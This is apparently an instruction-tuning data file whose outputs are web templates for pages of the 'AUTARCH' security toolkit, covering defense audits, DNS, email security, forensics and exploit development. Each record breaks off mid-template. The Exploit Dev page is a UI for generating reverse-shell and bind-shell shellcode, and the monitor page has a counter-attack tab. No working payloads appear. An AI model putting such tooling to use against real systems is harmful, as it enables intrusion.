style=\"display:flex;gap:24px;align-items:flex-start;flex-wrap:wrap\">\n <div style=\"text-align:center;padding:12px 20px;background:var(--bg-primary);border:1px solid var(--border);border-radius:var(--radius);min-width:120px\">\n <div id=\"audit-score\" style=\"font-size:2.5rem;font-weight:700;line-height:1\">--</div>\n <div style=\"font-size:0.78rem;color:var(--text-secondary);margin-top:4px\">Security Score</div>\n </div>\n <div style=\"flex:1;min-width:280px\">\n <table class=\"data-table\">\n <thead><tr><th>Check</th><th>Status</th><th>Details</th></tr></thead>\n <tbody id=\"audit-results\">\n <tr><td colspan=\"3\" class=\"empty-state\">Run an audit to see results.</td></tr>\n </tbody>\n </table>\n </div>\n </div>\n</div>\n\n<!-- Quick Checks -->\n<div class=\"card\">\n <h3>Quick Checks</h3>\n <div style=\"display:grid;grid-template-columns:repeat(auto-fill,minmax(200px,1fr));gap:10px\">\n {% for check_id, check_name, check_desc in [\n ('firewall', 'Firewall', 'Check iptables/ufw/firewalld status'),\n ('ssh', 'SSH Config', 'Check SSH hardening settings'),\n ('ports', 'Open Ports', 'Scan for high-risk listening ports'),\n ('users', 'Users', 'Check UID 0 users and empty passwords'),\n ('permissions', 'Permissions', 'Check critical file permissions'),\n ('services', 'Services', 'Check for dangerous services')\n ] %}\n <div style=\"background:var(--bg-primary);border:1px solid var(--border);border-radius:var(--radius);padding:14px\">\n <div style=\"font-weight:600;font-size:0.88rem;margin-bottom:4px\">{{ check_name }}</div>\n <div style=\"color:var(--text-secondary);font-size:0.78rem;margin-bottom:10px\">{{ check_desc }}</div>\n <button class=\"btn btn-sm\" style=\"width:100%\" onclick=\"linuxRunCheck('{{ check_id }}')\">Run</button>\n <pre class=\"output-panel tool-result\" id=\"check-result-{{ check_id }}\" style=\"display:none;margin-top:10px;font-size:0.75rem;min-height:0\"></pre>\n </div>\n {% endfor %}\n </div>\n</div>\n\n<!-- Firewall Manager -->\n<div class=\"card\">\n <div style=\"display:flex;align-items:center;justify-content:space-between;margin-bottom:1rem;flex-wrap:wrap;gap:0.5rem\">\n <h3 style=\"margin:0\">Firewall Manager (iptables)</h3>\n <button class=\"btn btn-sm\" onclick=\"linuxLoadFwRules()\">Refresh Rules</button>\n </div>\n <pre class=\"output-panel\" id=\"fw-rules\" style=\"max-height:300px;overflow-y:auto\">Click \"Refresh Rules\" to load current iptables rules.</pre>\n <div style=\"display:flex;gap:8px;margin-top:12px;flex-wrap:wrap\">\n
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Defense Monitor' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: defense_monitor.html\nSections: 18\nTabs: 6\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Threat Monitor - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div>\n <h1>Threat Monitor</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Real-time threat detection, network monitoring, and active counter-attack.\n </p>\n </div>\n <a href=\"{{ url_for('defense.index') }}\" class=\"btn btn-sm\" style=\"margin-left:auto\">← Defense</a>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"tmon\" data-tab=\"live\" onclick=\"showTab('tmon','live')\">Live Monitor</button>\n <button class=\"tab\" data-tab-group=\"tmon\" data-tab=\"connections\" onclick=\"showTab('tmon','connections')\">Connections</button>\n <button class=\"tab\" data-tab-group=\"tmon\" data-tab=\"netintel\" onclick=\"showTab('tmon','netintel')\">Network Intel</button>\n <button class=\"tab\" data-tab-group=\"tmon\" data-tab=\"threats\" onclick=\"showTab('tmon','threats')\">Threats</button>\n <button class=\"tab\" data-tab-group=\"tmon\" data-tab=\"capture\" onclick=\"showTab('tmon','capture');capLoadInterfaces()\">Packet Capture</button>\n <button class=\"tab\" data-tab-group=\"tmon\" data-tab=\"ddos\" onclick=\"showTab('tmon','ddos')\">DDoS Mitigation</button>\n <button class=\"tab\" data-tab-group=\"tmon\" data-tab=\"counter\" onclick=\"showTab('tmon','counter')\">Counter-Attack</button>\n</div>\n\n<!-- ==================== LIVE MONITOR TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"tmon\" data-tab=\"live\">\n<div class=\"section\">\n <h2>Live Threat Dashboard</h2>\n <div class=\"tool-actions\">\n <button id=\"btn-stream-toggle\" class=\"btn btn-primary\" onclick=\"toggleMonitorStream()\">Start Live Monitor</button>\n <span id=\"stream-status\" style=\"font-size:0.8rem;color:var(--text-muted);margin-left:12px\"></span>\n </div>\n\n <!-- Threat Score + Stats -->\n <div style=\"display:flex;gap:24px;align-items:flex-start;flex-wrap:wrap;margin-top:16px\">\n <div class=\"score-display\">\n <div class=\"score-value\" id=\"live-threat-score\">--</div>\n <div class=\"score-label\" id=\"live-threat-level\">Threat Level</div>\n </div>\n <div style=\"flex:1;min-width:250px\">\n <table class=\"data-table\" style=\"font-size:0.85rem\">\n <tbody>\n <tr class=\"tmon-stat-clickable\" onclick=\"tmonPopup('connections')\" title=\"Click to view live connections\">\n <td>Active Connections</td><td id=\"live-conn-count\">--</td></tr>\n <tr class=\"tmon-stat-clickable\" onclick=\"tmonPopup('logins')\" title=\"Click to view failed logins\">\n <td>Failed Logins (5m)</td><td id=\"live-fail-count\">--</td></tr>\n <tr class=\"tmon-stat-clickable\" onclick=\"tmonPopup('processes')\" title=\"Click to view suspicious processes\">\n <td>Suspicious Processes</td><td id=\"live-sus-count\">--</td></tr>\n <tr class=\"tmon-stat-clickable\" onclick=\"tmonPopup('scans')\" title=\"Click to view scan indicators\">\n <td>Scan Indicators</td><td id=\"live-scan-count\">--</td></tr>\n <tr class=\"tmon-stat-clickable\" onclick=\"tmonPopup('bandwidth')\" title=\"Click to view bandwidth details\">\n <td>Bandwidth (RX/TX)</td><td id=\"live-bandwidth\">--</td></tr>\n <tr class=\"tmon-stat-clickable\" onclick=\"tmonPopup('arp')\" titl
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Defense Windows' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: defense_windows.html\nSections: 4\nTabs: 3\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Windows Defense - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div>\n <h1>Windows Defense</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Windows-native security hardening, firewall management, and event log analysis.\n </p>\n </div>\n <a href=\"{{ url_for('defense.index') }}\" class=\"btn btn-sm\" style=\"margin-left:auto\">← Defense</a>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"windef\" data-tab=\"audit\" onclick=\"showTab('windef','audit')\">Security Audit</button>\n <button class=\"tab\" data-tab-group=\"windef\" data-tab=\"checks\" onclick=\"showTab('windef','checks')\">Quick Checks</button>\n <button class=\"tab\" data-tab-group=\"windef\" data-tab=\"firewall\" onclick=\"showTab('windef','firewall')\">Firewall Manager</button>\n <button class=\"tab\" data-tab-group=\"windef\" data-tab=\"logs\" onclick=\"showTab('windef','logs')\">Event Log Analysis</button>\n</div>\n\n<!-- AUDIT TAB -->\n<div class=\"tab-content active\" data-tab-group=\"windef\" data-tab=\"audit\">\n<div class=\"section\">\n <h2>Security Audit</h2>\n <div class=\"tool-actions\">\n <button id=\"btn-win-audit\" class=\"btn btn-primary\" onclick=\"winRunAudit()\">Run Full Audit</button>\n </div>\n <div style=\"display:flex;gap:24px;align-items:flex-start;flex-wrap:wrap\">\n <div class=\"score-display\">\n <div class=\"score-value\" id=\"win-audit-score\">--</div>\n <div class=\"score-label\">Security Score</div>\n </div>\n <div style=\"flex:1;min-width:300px\">\n <table class=\"data-table\">\n <thead><tr><th>Check</th><th>Status</th><th>Details</th></tr></thead>\n <tbody id=\"win-audit-results\">\n <tr><td colspan=\"3\" class=\"empty-state\">Run an audit to see results.</td></tr>\n </tbody>\n </table>\n </div>\n </div>\n</div>\n</div>\n\n<!-- QUICK CHECKS TAB -->\n<div class=\"tab-content\" data-tab-group=\"windef\" data-tab=\"checks\">\n<div class=\"section\">\n <h2>Quick Checks</h2>\n <div class=\"tool-grid\">\n <div class=\"tool-card\">\n <h4>Windows Firewall</h4>\n <p>Check firewall profile states</p>\n <button class=\"btn btn-small\" onclick=\"winRunCheck('firewall')\">Run</button>\n <pre class=\"output-panel tool-result\" id=\"win-check-firewall\"></pre>\n </div>\n <div class=\"tool-card\">\n <h4>SSH Config</h4>\n <p>Check OpenSSH server settings</p>\n <button class=\"btn btn-small\" onclick=\"winRunCheck('ssh')\">Run</button>\n <pre class=\"output-panel tool-result\" id=\"win-check-ssh\"></pre>\n </div>\n <div class=\"tool-card\">\n <h4>Open Ports</h4>\n <p>Scan for high-risk listening ports</p>\n <button class=\"btn btn-small\" onclick=\"winRunCheck('ports')\">Run</button>\n <pre class=\"output-panel tool-result\" id=\"win-check-ports\"></pre>\n </div>\n <div class=\"tool-card\">\n <h4>Updates</h4>\n <p>Check installed Windows hotfixes</p>\n <button class=\"btn btn-small\" onclick=\"winRunCheck('updates')\">Run</button>\n <pre class=\"output-panel tool-result\" id=\"win-check-updates\"></pre>\n </div>\n <div class=\"tool-card\">\n <h4>Users</h4>\n <p>Check admin accounts and guest status</p>\n <
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Dns Nameserver' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: dns_nameserver.html\nSections: 0\nTabs: 0\nForms/API calls: 38\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Nameserver — AUTARCH{% endblock %}\n{% block content %}\n<div class=\"page-header\">\n <h1>Nameserver</h1>\n <p class=\"text-muted\">Recursive resolver, query analytics, cache management, blocklist, benchmarking</p>\n</div>\n\n<!-- Binary Status Card -->\n<div class=\"card\" id=\"ns-status-card\" style=\"margin-bottom:1.25rem\">\n <div style=\"display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:0.75rem\">\n <div>\n <h3 style=\"margin:0 0 0.25rem 0\">autarch-dns</h3>\n <div id=\"ns-binary-status\" style=\"font-size:0.85rem;color:var(--text-muted)\">Checking...</div>\n </div>\n <div style=\"display:flex;gap:0.5rem\">\n <button class=\"btn btn-primary\" onclick=\"nsStart()\">Start</button>\n <button class=\"btn btn-danger\" onclick=\"nsStop()\">Stop</button>\n <button class=\"btn\" onclick=\"nsRefresh()\">Refresh</button>\n </div>\n </div>\n <div id=\"ns-details\" style=\"display:none;margin-top:1rem;border-top:1px solid var(--border);padding-top:1rem\">\n <div style=\"display:grid;grid-template-columns:repeat(auto-fill,minmax(220px,1fr));gap:0.75rem;font-size:0.82rem\">\n <div><span style=\"color:var(--text-muted)\">Binary:</span> <code id=\"ns-path\" style=\"font-size:0.78rem\">—</code></div>\n <div><span style=\"color:var(--text-muted)\">Version:</span> <span id=\"ns-version\">—</span></div>\n <div><span style=\"color:var(--text-muted)\">PID:</span> <span id=\"ns-pid\">—</span></div>\n <div><span style=\"color:var(--text-muted)\">DNS Listen:</span> <code id=\"ns-listen-dns\">—</code></div>\n <div><span style=\"color:var(--text-muted)\">API Listen:</span> <code id=\"ns-listen-api\">—</code></div>\n <div><span style=\"color:var(--text-muted)\">Upstream:</span> <span id=\"ns-upstream\">—</span></div>\n <div><span style=\"color:var(--text-muted)\">Config:</span> <code id=\"ns-config-path\" style=\"font-size:0.72rem\">—</code></div>\n </div>\n </div>\n</div>\n\n<!-- Tabs -->\n<div class=\"tabs\" style=\"display:flex;gap:0;border-bottom:2px solid var(--border);margin-bottom:1.5rem;flex-wrap:wrap\">\n <button class=\"ns-tab active\" onclick=\"nsTab('query',this)\">Query</button>\n <button class=\"ns-tab\" onclick=\"nsTab('querylog',this)\">Query Log</button>\n <button class=\"ns-tab\" onclick=\"nsTab('analytics',this)\">Analytics</button>\n <button class=\"ns-tab\" onclick=\"nsTab('cache',this)\">Cache</button>\n <button class=\"ns-tab\" onclick=\"nsTab('blocklist',this)\">Blocklist</button>\n <button class=\"ns-tab\" onclick=\"nsTab('forwarding',this)\">Forwarding</button>\n <button class=\"ns-tab\" onclick=\"nsTab('health',this)\">Root Health</button>\n <button class=\"ns-tab\" onclick=\"nsTab('benchmark',this)\">Benchmark</button>\n <button class=\"ns-tab\" onclick=\"nsTab('encryption',this)\">Encryption</button>\n <button class=\"ns-tab\" onclick=\"nsTab('hosts',this)\">Hosts</button>\n <button class=\"ns-tab\" onclick=\"nsTab('ezintranet',this)\">EZ Intranet</button>\n <button class=\"ns-tab\" onclick=\"nsTab('delegation',this)\">Delegation</button>\n <button class=\"ns-tab\" onclick=\"nsTab('build',this)\">Build</button>\n</div>\n\n<!-- ═══════════ Query Tester ═══════════ -->\n<div id=\"tab-query\" class=\"ns-pane\">\n <div class=\"card\" style=\"max-width:700px\">\n <h3>DNS Query Tester</h3>\n <p style=\"font-size:0.82rem;color:var(--text-muted);margin-bottom:1rem\">\n Test resolution against the run
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Dns Service' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: dns_service.html\nSections: 0\nTabs: 0\nForms/API calls: 32\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}DNS Server — AUTARCH{% endblock %}\n{% block content %}\n<h1>DNS Server</h1>\n<p style=\"color:var(--text-secondary);margin-bottom:1.5rem\">\n Authoritative DNS & nameserver with zone management, DNSSEC, import/export, and mail record automation.\n</p>\n\n<!-- Server Controls -->\n<div class=\"card\" style=\"padding:1rem;margin-bottom:1.25rem;display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div id=\"dns-status\" style=\"font-size:0.9rem\">Status: <span style=\"color:var(--text-muted)\">Checking...</span></div>\n <button class=\"btn btn-primary\" onclick=\"startDNS()\">Start Server</button>\n <button class=\"btn btn-danger\" onclick=\"stopDNS()\">Stop Server</button>\n <button class=\"btn\" onclick=\"checkDNS()\">Refresh</button>\n <div id=\"dns-metrics\" style=\"margin-left:auto;font-size:0.82rem;color:var(--text-secondary)\"></div>\n</div>\n\n<!-- Tabs -->\n<div class=\"tabs\" style=\"display:flex;gap:0;border-bottom:2px solid var(--border);margin-bottom:1.5rem\">\n <button class=\"tab-btn active\" onclick=\"dnsTab('zones',this)\">Zones</button>\n <button class=\"tab-btn\" onclick=\"dnsTab('records',this)\">Records</button>\n <button class=\"tab-btn\" onclick=\"dnsTab('ezlocal',this)\">EZ-Local</button>\n <button class=\"tab-btn\" onclick=\"dnsTab('reverseproxy',this)\">Reverse Proxy</button>\n <button class=\"tab-btn\" onclick=\"dnsTab('import-export',this)\">Import / Export</button>\n <button class=\"tab-btn\" onclick=\"dnsTab('templates',this)\">Templates</button>\n <button class=\"tab-btn\" onclick=\"dnsTab('config',this)\">Config</button>\n</div>\n\n<!-- ═══════════════════ ZONES TAB ═══════════════════ -->\n<div id=\"tab-zones\" class=\"tab-pane\">\n <div style=\"display:grid;grid-template-columns:1fr 1fr;gap:1.25rem\">\n <div class=\"card\" style=\"padding:1.25rem\">\n <h3 style=\"margin-bottom:1rem\">Create Zone</h3>\n <label class=\"form-label\">Domain</label>\n <input id=\"z-domain\" class=\"form-input\" placeholder=\"example.local\">\n <button class=\"btn btn-primary\" style=\"margin-top:0.75rem;width:100%\" onclick=\"createZone()\">Create Zone</button>\n <div id=\"z-create-status\" style=\"font-size:0.82rem;margin-top:0.5rem\"></div>\n\n <hr style=\"border-color:var(--border);margin:1.25rem 0\">\n <h4 style=\"margin-bottom:0.5rem\">Clone Zone</h4>\n <p style=\"font-size:0.78rem;color:var(--text-secondary);margin-bottom:0.5rem\">Duplicate an existing zone to a new domain name.</p>\n <label class=\"form-label\">Source Zone</label>\n <select id=\"z-clone-src\" class=\"form-input zone-select\"></select>\n <label class=\"form-label\" style=\"margin-top:0.5rem\">New Domain</label>\n <input id=\"z-clone-dst\" class=\"form-input\" placeholder=\"new-domain.local\">\n <button class=\"btn btn-primary\" style=\"margin-top:0.75rem;width:100%\" onclick=\"cloneZone()\">Clone Zone</button>\n <div id=\"z-clone-status\" style=\"font-size:0.82rem;margin-top:0.5rem\"></div>\n\n <hr style=\"border-color:var(--border);margin:1.25rem 0\">\n <h4 style=\"margin-bottom:0.5rem\">Quick Mail Setup</h4>\n <p style=\"font-size:0.78rem;color:var(--text-secondary);margin-bottom:0.5rem\">Auto-create MX, SPF, DKIM, DMARC records for a zone.</p>\n <label class=\"form-label\">Zone</label>\n <select id=\"z-mail-zone\" class=\"form-input zone-select\"></select>\n <label class=\"form-label\" style=\"margin-top:0.5rem\
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Email Sec' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: email_sec.html\nSections: 19\nTabs: 2\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Email Security{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Email Security</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n DMARC, SPF, DKIM analysis, email header forensics, phishing detection, and mailbox inspection.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"es\" data-tab=\"analyze\" onclick=\"showTab('es','analyze')\">Analyze</button>\n <button class=\"tab\" data-tab-group=\"es\" data-tab=\"headers\" onclick=\"showTab('es','headers')\">Headers</button>\n <button class=\"tab\" data-tab-group=\"es\" data-tab=\"mailbox\" onclick=\"showTab('es','mailbox')\">Mailbox</button>\n</div>\n\n<!-- ==================== ANALYZE TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"es\" data-tab=\"analyze\">\n\n<div class=\"section\">\n <h2>Domain Email Security Check</h2>\n <div class=\"form-row\">\n <div class=\"form-group\" style=\"flex:1\">\n <label>Domain</label>\n <input type=\"text\" id=\"es-domain\" placeholder=\"example.com\" onkeypress=\"if(event.key==='Enter')esDomainAnalyze()\">\n </div>\n <div class=\"form-group\" style=\"align-self:flex-end\">\n <button id=\"btn-es-domain\" class=\"btn btn-primary\" onclick=\"esDomainAnalyze()\">Analyze Domain</button>\n </div>\n </div>\n</div>\n\n<!-- Results Dashboard (hidden until analysis runs) -->\n<div id=\"es-results\" style=\"display:none\">\n <!-- Overall Score -->\n <div class=\"section\" style=\"display:flex;gap:24px;align-items:flex-start;flex-wrap:wrap\">\n <div class=\"score-display\" style=\"min-width:140px;text-align:center\">\n <div class=\"score-value\" id=\"es-grade\" style=\"font-size:3rem\">--</div>\n <div class=\"score-label\">Email Security Grade</div>\n <div id=\"es-score-num\" style=\"font-size:0.85rem;color:var(--text-secondary);margin-top:4px\">--/100</div>\n </div>\n <div style=\"flex:1;min-width:250px\">\n <table class=\"data-table\" style=\"max-width:400px\">\n <thead><tr><th>Check</th><th>Status</th></tr></thead>\n <tbody>\n <tr><td>SPF</td><td id=\"es-sum-spf\">--</td></tr>\n <tr><td>DMARC</td><td id=\"es-sum-dmarc\">--</td></tr>\n <tr><td>DKIM</td><td id=\"es-sum-dkim\">--</td></tr>\n <tr><td>MX / STARTTLS</td><td id=\"es-sum-mx\">--</td></tr>\n </tbody>\n </table>\n </div>\n </div>\n\n <!-- SPF Card -->\n <div class=\"section\">\n <h2>SPF Record</h2>\n <pre class=\"output-panel\" id=\"es-spf-record\" style=\"margin-bottom:12px\"></pre>\n <div id=\"es-spf-mechanisms\"></div>\n <div id=\"es-spf-findings\"></div>\n </div>\n\n <!-- DMARC Card -->\n <div class=\"section\">\n <h2>DMARC Record</h2>\n <pre class=\"output-panel\" id=\"es-dmarc-record\" style=\"margin-bottom:12px\"></pre>\n <table class=\"data-table\" style=\"max-width:500px\">\n <tbody>\n <tr><td>Policy</td><td id=\"es-dmarc-policy\">--</td></tr>\n <tr><td>Subdomain Policy</td><td id=\"es-dmarc-sp\">--</td></tr>\n <tr><td>Percentage</td><td id=\"es-dmarc-pct\">--</td></tr>\n <tr><td>SPF Alignment</td><td id=\"es-dmarc-aspf\">--</td></tr>\n <tr><td>DKIM Alignment</td><td id=\"es-dmarc-adkim\">--</td></tr>\n <tr><td>Aggregate Reports (rua)</td><td id=\"es-dmarc-rua\">--</td></tr>\n <tr><td>F
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Encmodules' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: encmodules.html\nSections: 2\nTabs: 0\nForms/API calls: 5\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Encrypted Modules — AUTARCH{% endblock %}\n\n{% block extra_head %}\n<style>\n/* ── Module grid ─────────────────────────────────────────────────────────── */\n.enc-grid {\n display: grid;\n grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));\n gap: 1rem;\n margin-top: 1rem;\n}\n\n.enc-card {\n background: var(--bg-card);\n border: 1px solid var(--border);\n border-radius: var(--radius);\n padding: 1.1rem 1.2rem;\n display: flex;\n flex-direction: column;\n gap: 0.55rem;\n transition: border-color 0.15s, box-shadow 0.15s;\n position: relative;\n overflow: hidden;\n}\n.enc-card::before {\n content: '';\n position: absolute;\n top: 0; left: 0; right: 0;\n height: 2px;\n background: linear-gradient(90deg, var(--accent), transparent);\n}\n.enc-card:hover {\n border-color: var(--accent);\n box-shadow: 0 0 16px rgba(0,255,65,0.08);\n}\n.enc-card.unlocked::before {\n background: linear-gradient(90deg, #00cc55, transparent);\n}\n.enc-card.running::before {\n background: linear-gradient(90deg, var(--warning), var(--accent));\n animation: shimmer 1.5s linear infinite;\n}\n@keyframes shimmer {\n 0% { background-position: -200% 0; }\n 100% { background-position: 200% 0; }\n}\n\n.enc-card-header {\n display: flex;\n align-items: center;\n gap: 0.6rem;\n}\n.enc-lock-icon {\n font-size: 1.1rem;\n flex-shrink: 0;\n color: var(--text-muted);\n transition: color 0.15s;\n}\n.enc-card.unlocked .enc-lock-icon { color: #00cc55; }\n.enc-card-name {\n font-size: 0.95rem;\n font-weight: 700;\n color: var(--text-primary);\n letter-spacing: 0.03em;\n}\n.enc-card-version {\n font-size: 0.72rem;\n color: var(--text-muted);\n margin-left: auto;\n font-family: monospace;\n}\n.enc-card-desc {\n font-size: 0.8rem;\n color: var(--text-secondary);\n line-height: 1.5;\n}\n.enc-card-meta {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n flex-wrap: wrap;\n font-size: 0.72rem;\n color: var(--text-muted);\n}\n.enc-tag {\n padding: 1px 6px;\n border-radius: 3px;\n font-size: 0.68rem;\n font-weight: 600;\n text-transform: uppercase;\n letter-spacing: 0.05em;\n}\n.enc-tag-danger { background: rgba(255,50,50,0.15); color: #ff5555; border: 1px solid rgba(255,50,50,0.3); }\n.enc-tag-warn { background: rgba(255,170,0,0.12); color: #ffaa00; border: 1px solid rgba(255,170,0,0.25); }\n.enc-tag-info { background: rgba(0,200,255,0.1); color: #00c8ff; border: 1px solid rgba(0,200,255,0.2); }\n.enc-tag-dim { background: rgba(120,120,120,0.1); color: #888; border: 1px solid rgba(120,120,120,0.2); }\n.enc-size { color: var(--text-muted); font-family: monospace; }\n\n/* ── Unlock panel ────────────────────────────────────────────────────────── */\n.enc-unlock-panel {\n display: none;\n flex-direction: column;\n gap: 0.5rem;\n margin-top: 0.4rem;\n padding-top: 0.75rem;\n border-top: 1px solid var(--border);\n}\n.enc-unlock-panel.visible { display: flex; }\n.enc-key-row {\n display: flex;\n gap: 0.4rem;\n}\n.enc-key-input {\n flex: 1;\n font-family: monospace;\n font-size: 0.82rem;\n background: var(--bg-input, #111);\n color: var(--text-primary);\n border: 1px solid var(--border);\n border-radius: 4px;\n padding: 0.35rem 0.6rem;\n}\n.enc-key-input:focus {\n outline: none;\n border-color: var(--accent);\n box-shadow
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Exploit Dev' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: exploit_dev.html\nSections: 8\nTabs: 3\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Exploit Dev{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Exploit Development</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Shellcode generation, payload encoding, ROP chain building, cyclic patterns, and assembly.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"xdev\" data-tab=\"shellcode\" onclick=\"showTab('xdev','shellcode')\">Shellcode</button>\n <button class=\"tab\" data-tab-group=\"xdev\" data-tab=\"encoder\" onclick=\"showTab('xdev','encoder')\">Encoder</button>\n <button class=\"tab\" data-tab-group=\"xdev\" data-tab=\"rop\" onclick=\"showTab('xdev','rop')\">ROP</button>\n <button class=\"tab\" data-tab-group=\"xdev\" data-tab=\"patterns\" onclick=\"showTab('xdev','patterns')\">Patterns</button>\n</div>\n\n<!-- ==================== SHELLCODE TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"xdev\" data-tab=\"shellcode\">\n\n<div class=\"section\">\n <h2>Shellcode Generator</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:12px\">\n Generate architecture-specific shellcode from built-in templates. Supports host/port patching.\n </p>\n <div class=\"form-row\">\n <div class=\"form-group\">\n <label>Shell Type</label>\n <select id=\"sc-type\">\n <option value=\"reverse_shell\">Reverse Shell</option>\n <option value=\"bind_shell\">Bind Shell</option>\n <option value=\"execve\" selected>Exec Command (/bin/sh)</option>\n </select>\n </div>\n <div class=\"form-group\">\n <label>Architecture</label>\n <select id=\"sc-arch\">\n <option value=\"x86\">x86 (32-bit)</option>\n <option value=\"x64\" selected>x64 (64-bit)</option>\n <option value=\"arm\">ARM</option>\n </select>\n </div>\n <div class=\"form-group\">\n <label>Platform</label>\n <select id=\"sc-platform\">\n <option value=\"linux\" selected>Linux</option>\n <option value=\"windows\">Windows</option>\n </select>\n </div>\n </div>\n <div class=\"form-row\">\n <div class=\"form-group\">\n <label>Host (reverse/bind)</label>\n <input type=\"text\" id=\"sc-host\" placeholder=\"127.0.0.1\">\n </div>\n <div class=\"form-group\">\n <label>Port (reverse/bind)</label>\n <input type=\"text\" id=\"sc-port\" placeholder=\"4444\">\n </div>\n </div>\n <div class=\"form-row\">\n <div class=\"form-group\" style=\"max-width:180px\">\n <label>Output Format</label>\n <select id=\"sc-format\">\n <option value=\"hex\">Hex</option>\n <option value=\"c_array\">C Array</option>\n <option value=\"python\">Python</option>\n <option value=\"nasm\">NASM</option>\n <option value=\"raw\">Raw Bytes</option>\n </select>\n </div>\n <div class=\"form-group\" style=\"max-width:130px;display:flex;align-items:flex-end;padding-bottom:6px\">\n <label style=\"display:flex;align-items:center;gap:6px;cursor:pointer\">\n <input type=\"checkbox\" id=\"sc-staged\" style=\"width:auto\"> Staged\n </label>\n </div>\n </div>\n <div class=\"tool-actions\">\n <button id=\"btn-sc-gen\" class=\"btn btn-primary\" onclick=\"scGenerate()\">Generate Shellcode</button>\n <button class=\"btn btn-
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Forensics' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: forensics.html\nSections: 10\nTabs: 3\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Forensics Toolkit{% endblock %}\n{% block content %}\n<div class=\"page-header\">\n <h1>Forensics Toolkit</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n File hashing, data carving, timeline analysis, and evidence chain of custody.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"forensics\" data-tab=\"image\" onclick=\"showTab('forensics','image')\">Image</button>\n <button class=\"tab\" data-tab-group=\"forensics\" data-tab=\"carve\" onclick=\"showTab('forensics','carve')\">Carve</button>\n <button class=\"tab\" data-tab-group=\"forensics\" data-tab=\"timeline\" onclick=\"showTab('forensics','timeline')\">Timeline</button>\n <button class=\"tab\" data-tab-group=\"forensics\" data-tab=\"evidence\" onclick=\"showTab('forensics','evidence')\">Evidence</button>\n</div>\n\n<!-- ══ Image Tab ══ -->\n<div class=\"tab-content active\" data-tab-group=\"forensics\" data-tab=\"image\">\n\n <!-- Hash File -->\n <div class=\"section\">\n <h2>Hash File</h2>\n <div class=\"form-row\">\n <div class=\"form-group\" style=\"flex:2\">\n <label>File Path</label>\n <input type=\"text\" id=\"for-hash-path\" placeholder=\"/path/to/evidence/file.dd\">\n </div>\n </div>\n <div class=\"tool-actions\">\n <button id=\"btn-for-hash\" class=\"btn btn-primary\" onclick=\"forHashFile()\">Compute Hashes</button>\n </div>\n <div id=\"for-hash-result\" style=\"display:none\">\n <table class=\"data-table\" style=\"max-width:700px\">\n <tbody>\n <tr><td style=\"width:80px;font-weight:600\">MD5</td><td id=\"for-hash-md5\" style=\"font-family:monospace;font-size:0.85rem;word-break:break-all\">—</td></tr>\n <tr><td style=\"font-weight:600\">SHA1</td><td id=\"for-hash-sha1\" 